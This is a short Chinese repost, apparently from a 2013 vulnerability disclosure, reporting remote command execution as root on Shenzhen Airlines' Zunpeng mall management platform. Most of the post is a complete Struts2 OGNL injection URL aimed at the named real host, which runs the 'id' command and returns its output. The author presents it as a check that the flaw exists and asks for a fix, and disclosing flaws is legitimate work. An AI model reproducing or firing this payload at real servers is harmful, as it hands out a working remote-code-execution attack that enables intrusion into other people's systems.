深圳航空安全漏洞# 某分站命令执行

转载于 2013-12-05 08:38:59 发布 · 922 阅读

文章标签：

发现尊鹏商城管理平台存在安全漏洞，通过特定URL参数可获取系统root权限。建议尽快修复以避免潜在风险。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

问题站点：尊鹏商城管理平台 http://eshop.shenzhenair.com/szair/mc/login.jsp
这里只验证漏洞的存在性，并未深入，请及时修补

root权限

https://eshop.shenzhenair.com/szair/mc/rbac_login!signin.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(%22id%22)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}